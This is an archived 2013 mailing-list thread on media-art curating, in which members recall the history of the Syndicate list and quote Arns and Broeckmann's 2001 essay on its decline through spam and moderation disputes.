Broeckmann:\n> http://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html.\n>\n> One of the things that I believe was so important to this list at the time\n> (and perhaps even more so with some historical perspective) was the voice\n> it\n> gave people of the former Yugoslavia during its civil war. It's common\n> place\n> now to talk about how platforms like Twitter break through political\n> censorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list like\n> the Syndicate, such freedom of speech could be both a benefit and a\n> detractor, as Arns and Broeckmann note. I'd love to know if anyone involved\n> with the list at this time would like to recall individual posts that\n> illustrate this difficult period.\n>\n> And also more generally if anyone would venture an account of their\n> relationship with the Syndicate \u00ad what collaboration its led to,  and what\n> it was like to lose it \u00ad especially in light of the comments we've already\n> had about how much of loss the Rhizome Raw list was.\n>\n> Inke and Andreas, I've BCC'd you in case you have time to offer anything to\n> this discussion on Media Art Curating \u00ad I can forward your responses if you\n> are not current subscribers/are pushed for time. You'll find more on this\n> month's discussions here:\n> https://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating\n>\n> All the best,\n>\n> Charlotte\n>\n\n\n\n-- \n| facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n| twitter.com/MezBreezeDesign\n| en.wikipedia.org/wiki/Mez_Breeze",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 22:20:34 +1100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=52359",
                        "content-type": "text/plain",
                        "author_name": "mez breeze",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Simon Biggs",
                        "content": "\nIf there's a list that has achieved the stated aims of the Syndicate list (dedicated to constructive debate that excludes announcements, promotion and artist's actions) then that would be empyre (established by Melinda Rackham in 2002 and still going strong). This has been achieved by moderating every email posted to the list, ensuring that only those that are on topic reach the list (which is different each month, curated, with invited discussants). This is a bit of work and does sometimes mean censoring posts, but not as much as you would imagine, especially as the list has over 1500 members. The culture of the list is well established and generally self-regulates.\n\nOther lists that are similarly closely moderated include Yasmin (having similar ambitions to Syndicate, but instead of the East/West Europe focus its is the north/south pan mediterranean that is engaged) and DASH, with a focus on digital arts history.\n\nThe opposite of these lists is Netbehaviour, which is totally open and unmoderated. Like empyre, its culture is well established and there are rarely conflicts or other issues - certainly nothing like what happened on Nettime, Syndicate and 55 in the 90's, where flaming was common. Why the difference? Perhaps the rise of mainstream social media platforms has taken the pressure of listservs, with those members that remain being generally dedicated to what listservs are good for - textual exchange. Just a thought...\n\nbest\n\nSimon\n\n\nOn 6 Oct 2013, at 11:40, Charlotte Frost <[log in to unmask]> wrote:\n\n> So far we've had little mention of the Syndicate list, which was extensively\n> chronicled in a post to Nettime in 2001 by founding members Inke Arns and\n> Andreas Broeckmann:\n> http://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html.\n> \n> One of the things that I believe was so important to this list at the time\n> (and perhaps even more so with some historical perspective) was the voice it\n> gave people of the former Yugoslavia during its civil war. It's common place\n> now to talk about how platforms like Twitter break through political\n> censorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list like\n> the Syndicate, such freedom of speech could be both a benefit and a\n> detractor, as Arns and Broeckmann note. I'd love to know if anyone involved\n> with the list at this time would like to recall individual posts that\n> illustrate this difficult period.\n> \n> And also more generally if anyone would venture an account of their\n> relationship with the Syndicate \u00ad what collaboration its led to,  and what\n> it was like to lose it \u00ad especially in light of the comments we've already\n> had about how much of loss the Rhizome Raw list was.\n> \n> Inke and Andreas, I've BCC'd you in case you have time to offer anything to\n> this discussion on Media Art Curating \u00ad I can forward your responses if you\n> are not current subscribers/are pushed for time. You'll find more on this\n> month's discussions here:\n> https://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating\n> \n> All the best,\n> \n> Charlotte \n> \n\n\nSimon Biggs\n[log in to unmask]\nhttp://www.littlepig.org.uk @SimonBiggsUK http://amazon.com/author/simonbiggs\n\n[log in to unmask] Edinburgh College of Art, University of Edinburgh\nhttp://www.ed.ac.uk/schools-departments/edinburgh-college-art/school-of-art/staff/staff?person_id=182&cw_xml=profile.php\nhttp://www.research.ed.ac.uk/portal/en/persons/simon-biggs%285dfcaf34-56b1-4452-9100-aaab96935e31%29.html\n\nhttp://www.eca.ac.uk/circle/  http://www.elmcip.net/  http://www.movingtargets.org.uk/  http://designinaction.com/\nMSc by Research in Interdisciplinary Creative Practices  http://www.ed.ac.uk/studying/postgraduate/degrees?id=656&cw_xml=details.php",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 12:23:22 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=52578",
                        "content-type": "text/plain",
                        "author_name": "Simon Biggs",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Darko Fritz",
                        "content": "\nHi all\n\nKlaudio Stefancic wrote about ZaMirNET among other topics, in his text New Media - New Networks / New Media Art in Croatia\n\nhttp://turbulence.org/blog/2008/07/14/spectre-klaudio-stefancic-new-media-art-in-croatia/\nhttp://www.nettime.org/Lists-Archives/nettime-l-0807/msg00024.html\n\nand Geert Lovink about Syndicate\nLovink, Geert. \u2014 My first recession : critical Internet culture in transition. \u2014 Rotterdam : V2_Organisation, Institute for the Unstable Media, 2003\n\n\"In the third chapter, \"Deep Europe and the Kosovo Conflict,\" Lovink presents his first case study of a parallel network: the Syndicate mailing list created in 1996, and the project Deep Europe, which forged ties between communities in Western and Eastern Europe. By supplementing his analysis with posts from the mailing list, Lovink shows how this network gradually opened up to people outside the media arts community. The involvement of outsiders intensified during NATO interventions in Kosovo when Syndicate served an alternative news media. In 2000, Syndicate shut down as the result of \"trolls\" saturating the list with encrypted messages. Lovink details the issues raised by the rapid expansion of a collectively developed forum exposed to this type of information overload.\"\n\nbest regards\n\nDarko\n\nOn Oct 6, 2013, at 13:05 PM, Armin Medosch wrote:\n\n> Hi Charlotte,\n> \n> while it is surely interesting to recall individual posts I think it is also importatt to point out that many of those posting could only do so because they had access to the net and that in itself was nothing to be taken for granted. A great role in that respect plaid Zamir net which started in 1992 and which connected peace activists in former Yugoslavian states ... there is a wikipedia entry about it http://en.wikipedia.org/wiki/ZaMirNET\n> \n> Another, less well known story is how Serbian hackers ensured email connectivity for civil society at a time when Serbia was under international embargo and didn't even have a domain name.\n> \n> As I have tried to point out in the past, without much success, the material layer of networking also matters. Arts and humanities scholars have a tendency to ascribe too much importance to what you could call the semantic and symbolic layer. No email from Serbia would have found its way to the syndicate list withoute having a route to travel on. Those routes are provided by people who also have cultural and political ideas, so that those human-technical assemblages also have meaning, if you so want, something that should also be considered, hwever, without tipping over into a one-sided materialism\n> \n> all best\n> Armin\n> \n> \n> On 10/06/2013 12:40 PM, Charlotte Frost wrote:\n>> So far we've had little mention of the Syndicate list, which was extensively\n>> chronicled in a post to Nettime in 2001 by founding members Inke Arns and\n>> Andreas Broeckmann:\n>> http://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html.\n>> \n>> One of the things that I believe was so important to this list at the time\n>> (and perhaps even more so with some historical perspective) was the voice it\n>> gave people of the former Yugoslavia during its civil war. It's common place\n>> now to talk about how platforms like Twitter break through political\n>> censorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list like\n>> the Syndicate, such freedom of speech could be both a benefit and a\n>> detractor, as Arns and Broeckmann note. I'd love to know if anyone involved\n>> with the list at this time would like to recall individual posts that\n>> illustrate this difficult period.\n>> \n>> And also more generally if anyone would venture an account of their\n>> relationship with the Syndicate \u00ad what collaboration its led to,  and what\n>> it was like to lose it \u00ad especially in light of the comments we've already\n>> had about how much of loss the Rhizome Raw list was.\n>> \n>> Inke and Andreas, I've BCC'd you in case you have time to offer anything to\n>> this discussion on Media Art Curating \u00ad I can forward your responses if you\n>> are not current subscribers/are pushed for time. You'll find more on this\n>> month's discussions here:\n>> https://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating\n>> \n>> All the best,\n>> \n>> Charlotte\n>> ",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 14:14:24 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=56930",
                        "content-type": "text/plain",
                        "author_name": "Darko Fritz",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Sally-Jane Norman",
                        "content": "\nAgree with Armin. The \"human-technical assemblages\" Syndicate was made of were vital. I'm sure Andreas and Inke will be able and well placed to respond, but maybe the swansong mail they posted on nettime provides a useful overview in the mean time. It's a long story marked by a deep ethos and visionary generosity on the part of those who put the effort into launching and maintaining it, like any that engages deep inter-personal and collective communication. Hard to do justice with hindsight. Especially from the perspective of 2013 list-log-blog-surf culture. \n\nbest\nsj\n\n\n<nettime> Rise and Decline of the Syndicate\n\n    To: nettime-l {AT} bbs.thing.net\n    Subject: <nettime> Rise and Decline of the Syndicate\n    From: Arns/Broeckmann <inke {AT} snafu.de>\n    Date: Tue, 13 Nov 2001 15:52:49 +0100\n    Reply-To: Arns/Broeckmann <inke {AT} snafu.de>\n\n\nRise and Decline of the Syndicate: the End of an Imagined Community\n\nInke Arns & Andreas Broeckmann, Berlin, November 2001\n\nThe Syndicate mailing list imploded and went down in August 2001,\ndestroying the life-line of the Syndicate network. The network had been in\na shaky situation for a while, due - we believe - to the destabilisation\nof the problematic balance between personal contacts of list members,\nlurking and filtering-and-not-reading-let-alone-posting subscribers, and a\ngrowing number of self-promoters who used the list as a personal\nperformance space and disregarded the social rules of the online\ncommunity.\n\nSome people insisted on continuing the list on a new server, taking over\nthe subscriber list, while we decided to form a new list, SPECTRE, which\nhas been running on the previous Syndicate list-serve in Berlin since 28\nAug 2001. The list currently has 250 new subscribers (Nov 01) and\ncontinues the tradition of the Syndicate list as a low-noise, open\nplatform for exchange and cooperation in media culture in Europe.\n\nAfter six years of successful work with and for the Syndicate community,\nthe demise of the Syndicate list in August 2001 was a rather shocking\nexperience for many of us, imposing on us the realisation how feeble such\na community channel can be, and how easily destroyed. It proved that\nresponsibility and care are essential elements in a viable social online\nenvironment, and we had to learn the hard way that there is no consensus\nabout the rules that should guide behaviour and interaction. The following\ntext gives a brief summary from our personal perspective of the Syndicate\ninitiative as it developed since its inception in 1996, and attempts an\nevaluation of its end.\n\n\nAndreas started administering the Syndicate mailing list after its\ninstallation on the server of the Ars Electronica Center in Linz (aec.at)\nin January 1996, helping people to subscribe, unsubscribe and post to the\nmajordomo list. As the subscriber base grew from the original 30\nsubscribers to about 300 in 1998, Inke joined in administering the list\nand - together with Arthur Bueno of the V2_Organisation in Rotterdam, who\nalso maintained the Syndicate website and archive on www.v2.nl/syndicate\nfrom 1998-2000 - mostly managed the list administration through these\nyears. We taught ourselves the basic majordomo commands, had our private\nmail accounts jammed with bounced messages, and therefore installed an\nadmin account. Each time we would look into this account there would be\nhundreds of mails sitting there and voraciously waiting for us ... but\nsomehow it worked. Problems started appearing on an entirely different\nfield.\n\nWith its completely open structure (technically and socially speaking) the\nSyndicate mailing list soon proved to be vulnerable. In the beginning of\nNovember 1998 the list was first targeted: all the subscribers were\nunsubscribed. Luckily we had been extracting the \"who\"-file on an almost\ndaily basis and thus were able to reconstruct the list quickly. In\nSeptember 2000 the list software on the server faced a serious crash which\nthe sysops in Linz could not take care of because of the festival they\nwere in at the time. So we decided to relocate the list onto a server to\nwhich we would have easier access for administration and configuration.\nSince then, the Syndicate list was hosted by an ISP in Berlin\n(openoffice.de) which also soon gave us the opportunity to switch from\nMajordomo to the more easily administratable Mailman software.\n\nBut the Syndicate was much more than a piece of software: it was a network\nof people. The Syndicate was founded in January 1996 on the last day of\nthe Next 5 Minutes 2 Festival in Rotterdam. It was a network which devoted\nitself to fostering contacts and co-operation, improvements in\ncommunication and an exchange between institutions and individuals in\nEastern and Western Europe active in the media and media culture. By\nallowing regular e-mail communication between participants regarding\nforthcoming events and collaborative projects the Syndicate mailing list\ndeveloped into an important channel and information resource for\nannouncing and reporting new projects, events and developments in media\nculture. The complete mail archive is kept at\nhttp://www.v2.nl/mail/v2east/\n\nSince the first meeting in Rotterdam in 1996, which was attended by 30\nmedia artists and activists, journalists and curators from 12 Eastern and\nWestern European countries, the Syndicate network grew steadily. In August\n2001, it linked over 500 members from more than 30 European and a number\nof non-European countries. The original idea was to establish an East-West\nnetwork as well as an East-East network. In the meantime, however, the\nSyndicate had increasingly developed into an all-European forum for media\nculture and art. Over the last few years the division between East and\nWest had been growing less important as people cooperated in ever-changing\nconstellations, in ad-hoc as well as long-lasting partnerships.\n\nSyndicate meetings and workshops have been held regularly, in most cases\nas part of festivals and conferences. The main meetings have taken place\nat half-yearly intervals in Rotterdam (Sept. 96), Liverpool (April 97),\nKassel (July 97), Dessau (Nov. 97), Tirana (May 98), Skopje (Oct. 98),\nBudapest (April 99), and Helsinki (Oct. 99), with many smaller meetings\nand joint projects, presentations and workshops happening in between.\nReaders edited by Inke and published on the occasion of some of the\nmeetings (Rotterdam 1996, Ostranenie Dessau 1997, Junction Skopje 1998)\nhave collected the most important texts from the mailing list in printed\nform.\n\nIt was worth condensing Syndicate stuff in this way because most of the\ntime the mail traffic was dominated by announcements. Attempts to turn the\nSyndicate list into a discussion list and encouragements for people to\nsend their personal reports, views, perceptions of what was happening,\nwere met by only limited response. In the beginning, when many people on\nthe list still knew each other personally, this strategy was more\nsuccessful, later, with the exploding rate of lurkers, less.\n\nWhile in the first three years of its existence, the Syndicate held its\nmeetings quite regularly (almost every six months!), and organised panels\nand workshops with its members, since 1999 the Syndicate list came to be\nmore like a sleeping beauty which in times of crisis would awake and show\nits full potential. Suddenly, when necessary, everybody was back on,\ncommunicating almost breathlessly with each other (\"Have you heard about\nX?\" - \"The cultural center Y was closed!\" - \"Z received his mobilisation\ncall.\") The list was last activated in order to support Edi Muka,\nTirana-based long term Syndicalist, who had been sacked from his post at\nthe cultural center Pyramid by some politically malevolent officials.\n\nThe meetings and personal contacts off-list were an essential part of the\nSyndicate network: they grounded the Syndicate in a network of friendly\nand working relationships, with strong ties and allegiances that spanned\nacross Europe and made many cooperations between artists, initiatives and\ninstitutions possible. The Syndicate thus opened multiple channels between\nartists and cultural producers in Europe and beyond, which is probably its\ngreatest achievement. It connected people and made them aware of each\nother's practice, creating multiple options for international cooperation\nprojects.\n\nA structure like that can work so long as it is supported and protected by\na sufficient number of participants. It needs an ethical consensus about\nwhat is and what isn't possible on the list, which kinds of actions\nsupport and which may tilt the social equilibrium. The case of Andrej\nTisma, a Yugoslav artist from multi-cultural Novi Sad and a defender of\nthe Milosevic regime throughout the late 90s, is a case in point: many\nperceived his tirades against the West and against NATO as pure Serbian\npropaganda which became unbearable at some point. Later, Tisma came back\nto the list and continued his criticisms by posting links to anti-NATO web\npages he had created. For us, he was always an interesting sign post of\nSerb nationalist ideology which it was good to be aware of. And it was\ngood that he showed that people can be artists 'like you and me', and be\nSerb nationalists at the same time. The Syndicate could handle his\npresence after he agreed to tune down his rants.\n\nHowever, this consensus was further eroded through the last two years. The\nnn episode on Syndicate in August 2001, then, was a symptom, but not the\nreason for the death of Syndicate. This started way before August 2001.\nNot only that there were no more meetings after 1999, one could also\nnotice that since mid 1999 people felt less and less responsible for the\nlist. Many Syndicalists of the first hour grew more silent (this was\npartly incited by the hefty discussions during the NATO bombings in\nYugoslavia), perhaps more weary, perhaps less naive, many also changed\ntheir personal circumstances and got involved in other things (new jobs,\nnew families, new countries ...). At the same time, the number of\nsubscribers kept growing: more and more newbies kept flowing onto the\nSyndicate list.\n\nThe major change that occurred on the Syndicate around that time (1999)\nwas the transition from a network of people and of trust to a more and\nmore anonymous mailing list, a list for announcements like so many others.\nA growing majority of Syndicate subscribers now tended to see the mailing\nlist merely as a quick and handy tool for spreading self promotion. The\nmailing list was to serve them for promotional goals, rather than as a\ntool of communication. When calls went out for support in the\nadminstration of the list, far too few people responded at all. Many\npeople still do not understand the voluntary nature of the Syndicate\ninitiative, and that the whole project depended on the sharing of work and\nresponsibility. Too many people took the efforts of too few people for\ngranted. Investing time and energy in the administration of such a list\nbecame more and more frustrating. When some fellow Syndicalists joined the\nadmin team early 2001, we could have realised that the project had peaked\nand should have been transformed into something different altogether.\n\nThe net entity nn (Netochka Nezvanova, integer, antiorp, etc.), a\npseudonym used by an international group of artists and programmers in\ntheir extensive and aggressive mailing list-based online-performances and\nfor other art projects, had been subscribed to the Syndicate list in 1997.\nIt was, as the first of less than a handful of people ever, unsubscribed\nagainst its will because it was spamming the list so heavily that all\nmeaningful communication was blocked. In January 2001, nn sent an e-mail\nasking to again be subscribed to the Syndicate mailing list. (What nn\nnever bothered to realise was that subscription to the list had always\nbeen open so that, at any point, it could have subscribed itself - we have\nalways wondered why Majordomo is such a blind spot in this technophile\nentity's arsenal.) After getting assurances from nn that she was not out\nto misuse the list, we subscribed it to the Syndicate list.\n\nNaively, as we had to realise. nn went from one or two messages every day\nin February to an average of three to five message in April and up to\neight and ten messages per day in May and June - and that on a list which\nhad a regular daily traffic of three to five messages a day. The\ndistributed nature of the nn collective makes it possible for them to keep\nposting 24 hours a day - great for promoting your online presence,\nirritating for people who have a less frantic life rhythm. nn's messages\nare always cryptic, sometimes amusing, often tediously repetitive in their\nquirky rhetorics and style, and generally irritating for the majority of\npeople. Its activity on the Syndicate - like on many other lists it has\nused and terrorised - soon came to look like a hijack. But the sheer mass\nof traffic nn was generating, the sheer amount of nn's presence, was\noverwhelming. Perhaps this phenomenon could be compared to SMEGL, short\nfor super mental grid lock, a term that was developed to describe traffic\njam situations in NYC back in the eighties (or was this term coined in\nBerlin-Kreuzberg's famous Fischbuero? Who knows, the boundaries get\nblurred...).\n\nIn the spring of 2001, nn's and other people's activities who use open,\nunmoderated mailing lists for promulgating their self-promotional e-mails,\ntriggered discussions about 'spam art', on Syndicate as well as on other\nlists. Actually, given the extreme openness and vulnerability of a\nstructure like the Syndicate it remains quite astonishing that this\nstructure survived for such a long time. What happened in the course of\n2000/2001 (not only to Syndicate, but also to several other mailing lists)\nwas that the openness of these lists, i.e. the fact that they were\nunmoderated, was massively abused, and, finally, destroyed, by relentless\n'creative' spamming. One of the basic principles of the Internet - its\nopenness - suddenly seemed to become a mere tool for attacking this very\nprinciple. 'Netiquette' did not seem to be of much value anymore and was\nsacrificed for the egotistical self-expression of (distributed) artist\negos. The irony of this process is that, like any good parasite, this\nartistic practice depends on the existence of lively online communities:\nit not only bites, but kills the hand that feeds it. - These parasite\nnomads will find new hosts, no doubt, but they have over the past year\nhelped to erode the social fabric of the wider net cultural population so\nmuch that communities have to protect themselves from attacks and hijacks\nmore aggressively than before. Their adolescent carelessness is partly\nresponsible for the withering of the romantic utopia of a completely open,\nsociable online environment. However educational that may be, we despise\nthe deliberation with which these people act.\n\nnn got unsubscribed from the Syndicate without warning on a day when there\nhad been nothing but ten messages from her. After some days of silence and\nsighs of relief, angry protests by nn came through. On the list,\naccusations of censorship and/or dictatorship were made. A small but noisy\nfaction denounced unsubscribing nn as an act against the freedom of\nspeech. They called the administrators fascists, murderers, and\n'threatened' to report the case to 'Index on Censorship'. While some other\nlist members welcomed the departure of nn on and off the list and the\nadmin team again and again explained their move, the ludicrous allegations\nand vociferous insults continued.\n\nThe real shock for us was that the majority of list subscribers did not\nparticipate in the discussion and thus silently seemed to accept what was\ngoing on. It was personally hurtful not to receive more support against\nthe insults raised against us, but more frustrating was the indifference\nthat made the whole process possible. Within few days, the alienation from\nthe atmosphere on the list was so great that we admitted defeat,\nre-subscribed nn and began to withdraw from the Syndicate. The list was\nmoved to a different server and is now administered by other people at\nanart.no/~syndicate. We wanted to avoid further verbiage and conflict and\ntherefore gave up the name, but we insist that from our perspective the\nSyndicate project that was founded in 1996 ended in August 2001. What\nremains under its name is a zombie kept alive by misconceptions about what\nthe Syndicate really was. Maybe we should have stopped the project\naltogether in the summer?\n\nFiltering has, in a way, done us in. Before there were effective e-mail\nclients that could filter out lists and other mail communication,\neverybody on the list got everything more or less instantly, which also\nmeant a higher level of social awareness and social control of what goes\non on the list. Today, many people filter the lists they subscribe to and\nonly look at the postings at irregular intervals - some mailboxes don't\nget opened for months. Like this, people consume the list passively and do\nnot even notice a fiasco like the one that we experienced on the Syndicate\nlist in the summer. I guess that some people who remain subscribed to the\nSyndicate list still have not noticed that anything has changed. For a\nsocial community, that kind of behaviour - automated deferance - can be\nfatal.\n\n\n\"There's a spectre haunting Europe ...\"\n\nIn August 2001, after unsubscribing from the Syndicate, we initiated a new\nmailing list under the name SPECTRE. It is an open, unmoderated list for\nmedia art and culture in Deep Europe. SPECTRE offers a channel for\npractical information exchange concerning events, projects and initiatives\norganized within the field of media culture, and hosts discussions and\ncritical commentary about the development of art, culture and politics in\nand beyond Europe. Deep Europe is not a particular territory, but is based\non an attitude and experience of layered identities and histories -\nubiquitous in Europe, yet in no way restricted by its topographical\nborders. (The term Deep Europe was coined by Anna Balint in 1996. It was\npassed on by Geert Lovink. It was used by Andreas Broeckmann and Inke\nArns. It was interpreted by Luchezar Boyadjiev. It was used more by Sally\nJane Norman, Iliyana Nedkova, Nina Czegledy, Edi Muka, and many others.)\n\nSPECTRE is a channel for people involved in old and new media in art and\nculture. Importantly, many people on this list know each other personally.\nSPECTRE aims to facilitate real-life meetings and favours real\nface-to-face (screen-to-screen) cooperation, test-bed experiences and\nenvironments to provoke querying of issues of cultural\nidentity/identification and difference (translatable as well as\nuntranslatable or irreducible). The new list was immediately welcomed by\nmany frustrated Syndicalists who quickly made the move.\n\nSPECTRE is an unmoderated, but by not means open mailing list. With the\nSyndicate experience in mind we felt the need to explicitely formulate\nsome basic, apparently no longer self-evident netiquette rules, like\n\"meaningful discussions require mutual respect,\" and \"self-advertise with\ncare!\" The list is initially hosted by the two of us who also have to\napprove requests for subscription. The blurb explicitely reads:\n\"Subscriptions may be terminated or suspended in the case of persistent\nviolation of netiquette.\" We regret that we have to introduce such a\nsystem of control but see no other effective way of protecting something\nthat is dear to us. A lack of sensible protection brought down the\nSyndicate. Information about SPECTRE:\nhttp://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n\nWe try to continue the good Syndicate tradition of amiable exchange and\nare more hesitant about the illusion of being an 'online community'. We\nmaintain our romantic belief in lasting friendships and insist on the need\nto infuse networks with a strong sense of conviviality. We believe in\npeople and their needs more than we believe in art.\n\nInke Arns, Andreas Broeckmann\n\nBerlin, November 2001\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n\n\n\n\n\n________________________________________\nFrom: Curating digital art - www.crumbweb.org [[log in to unmask]] on behalf of Armin Medosch [[log in to unmask]]\nSent: Sunday, 6 October 2013 12:05 p.m.\nTo: [log in to unmask]\nSubject: Re: [NEW-MEDIA-CURATING] The Syndicate - building a history of lists\n\nHi Charlotte,\n\nwhile it is surely interesting to recall individual posts I think it is\nalso importatt to point out that many of those posting could only do so\nbecause they had access to the net and that in itself was nothing to be\ntaken for granted. A great role in that respect plaid Zamir net which\nstarted in 1992 and which connected peace activists in former\nYugoslavian states ... there is a wikipedia entry about it\nhttp://en.wikipedia.org/wiki/ZaMirNET\n\nAnother, less well known story is how Serbian hackers ensured email\nconnectivity for civil society at a time when Serbia was under\ninternational embargo and didn't even have a domain name.\n\nAs I have tried to point out in the past, without much success, the\nmaterial layer of networking also matters. Arts and humanities scholars\nhave a tendency to ascribe too much importance to what you could call\nthe semantic and symbolic layer. No email from Serbia would have found\nits way to the syndicate list withoute having a route to travel on.\nThose routes are provided by people who also have cultural and political\nideas, so that those human-technical assemblages also have meaning, if\nyou so want, something that should also be considered, hwever, without\ntipping over into a one-sided materialism\n\nall best\nArmin\n\n\nOn 10/06/2013 12:40 PM, Charlotte Frost wrote:\n> So far we've had little mention of the Syndicate list, which was extensively\n> chronicled in a post to Nettime in 2001 by founding members Inke Arns and\n> Andreas Broeckmann:\n> http://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html.\n>\n> One of the things that I believe was so important to this list at the time\n> (and perhaps even more so with some historical perspective) was the voice it\n> gave people of the former Yugoslavia during its civil war. It's common place\n> now to talk about how platforms like Twitter break through political\n> censorship  Iran and Egypt are good recent examples  but on a list like\n> the Syndicate, such freedom of speech could be both a benefit and a\n> detractor, as Arns and Broeckmann note. I'd love to know if anyone involved\n> with the list at this time would like to recall individual posts that\n> illustrate this difficult period.\n>\n> And also more generally if anyone would venture an account of their\n> relationship with the Syndicate  what collaboration its led to,  and what\n> it was like to lose it  especially in light of the comments we've already\n> had about how much of loss the Rhizome Raw list was.\n>\n> Inke and Andreas, I've BCC'd you in case you have time to offer anything to\n> this discussion on Media Art Curating  I can forward your responses if you\n> are not current subscribers/are pushed for time. You'll find more on this\n> month's discussions here:\n> https://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating\n>\n> All the best,\n>\n> Charlotte\n>\n",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 12:52:35 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=57944",
                        "content-type": "text/plain",
                        "author_name": "Sally-Jane Norman",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Honor Harger",
                        "content": "\nHi Chrlotte, all,\n\nThanks for bringing up The Syndicate.\n\n>So far we've had little mention of the Syndicate list\n>  >And also more generally if anyone would venture an account of their\n>relationship with the Syndicate - what collaboration its led to,  and what\n>it was like to lose it -\n\nIt was easily the most transformation mailing list I've ever been on. \nIt changed the way I viewed the world, opened up parts of it to me in \nways that lead to projects and collaborations that are amongst my \nmost treasured, and gave me my most valued network for many years. \nIt wouldn't be overstating it to say that it changed my life.\n\nI remember very well when the list was hijacked.  It was deeply \nunpleasant, and Andreas in particular bore the brunt of some \nparticularly unpleasant, childish behaviour by the idiots who \nattacked it.\n\nBut in a sense we didn't really lose it. We migrated to Spectre, and \nwhilst the list hasn't got the same discursive quality it did at the \nSyndicate's peak, I think that's probably as much down to the way \nthat people's behaviour on mailing lists have changed, in the wake of \nsocial media.\n\nBest,\n\nHonor\n\n\n-- \nHonor Harger\nEmail: [log in to unmask]\nPhone: +44 7765834272\nhttp://about.me/honor\n\nWork\nArtistic Director, Lighthouse, Brighton, UK\nhttp://www.lighthouse.org.uk\n\nTalks\nTED: http://is.gd/harger\nLift: http://is.gd/lifttalk\nShift Happens: http://is.gd/shifttalk\n\nBlogs\nParticle Decelerator: http://decelerator.blogspot.com/\nArt & Technology: http://honorharger.wordpress.com/",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 14:34:46 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=58793",
                        "content-type": "text/plain",
                        "author_name": "Honor Harger",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Honor Harger",
                        "content": "\nArmin wrote:\n\n>As I have tried to point out in the past, without much success, the \n>material layer of networking also matters. Arts and humanities \n>scholars have a tendency to ascribe too much importance to what you \n>could call the semantic and symbolic layer. No email from Serbia \n>would have found its way to the syndicate list withoute having a \n>route to travel on. Those routes are provided by people who also \n>have cultural and political ideas, so that those human-technical \n>assemblages also have meaning, if you so want, something that should \n>also be considered, hwever, without tipping over into a one-sided \n>materialism\n\nThis is an excellent point, and one we've been trying to make through \nour work at Lighthouse in exposing the material infrastructures on \nwhich our experience of the internet is built. We're currently \nexploring this in an exhibition called 'Immaterials' \n(http://is.gd/immaterials), and the notion of infrastructure, how we \nperceive, understand it and act within it, was a major topic of our \nImproving Reality conference last month.  When the talks are up, I'll \npost them here.\n\nThanks for raising these excellent examples from the \nformer-Yugoslavia, Armin.  Have you got any references you could \npoint me to for further reading?\n\nbest,\n\n\n-- \nHonor Harger\nEmail: [log in to unmask]\nPhone: +44 7765834272\nhttp://about.me/honor\n\nWork\nArtistic Director, Lighthouse, Brighton, UK\nhttp://www.lighthouse.org.uk",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 14:34:56 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=59578",
                        "content-type": "text/plain",
                        "author_name": "Honor Harger",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Armin Medosch",
                        "content": "\nHi Honor,\n\nI think Darko actually provided the reference you needed, I would assume \nGeert has researched that meticulously. The Serbian story I mentioned is \nfrom an unpublished interview done long ago, I am not sure if I can find \nthat at all, its on an old backup disk, maybe ...\n\nall best\nArmin\n\nOn 10/06/2013 03:34 PM, Honor Harger wrote:\n> Armin wrote:\n>\n>> As I have tried to point out in the past, without much success, the\n>> material layer of networking also matters. Arts and humanities\n>> scholars have a tendency to ascribe too much importance to what you\n>> could call the semantic and symbolic layer. No email from Serbia would\n>> have found its way to the syndicate list withoute having a route to\n>> travel on. Those routes are provided by people who also have cultural\n>> and political ideas, so that those human-technical assemblages also\n>> have meaning, if you so want, something that should also be\n>> considered, hwever, without tipping over into a one-sided materialism\n>\n> This is an excellent point, and one we've been trying to make through\n> our work at Lighthouse in exposing the material infrastructures on which\n> our experience of the internet is built. We're currently exploring this\n> in an exhibition called 'Immaterials' (http://is.gd/immaterials), and\n> the notion of infrastructure, how we perceive, understand it and act\n> within it, was a major topic of our Improving Reality conference last\n> month.  When the talks are up, I'll post them here.\n>\n> Thanks for raising these excellent examples from the former-Yugoslavia,\n> Armin.  Have you got any references you could point me to for further\n> reading?\n>\n> best,\n>\n>",
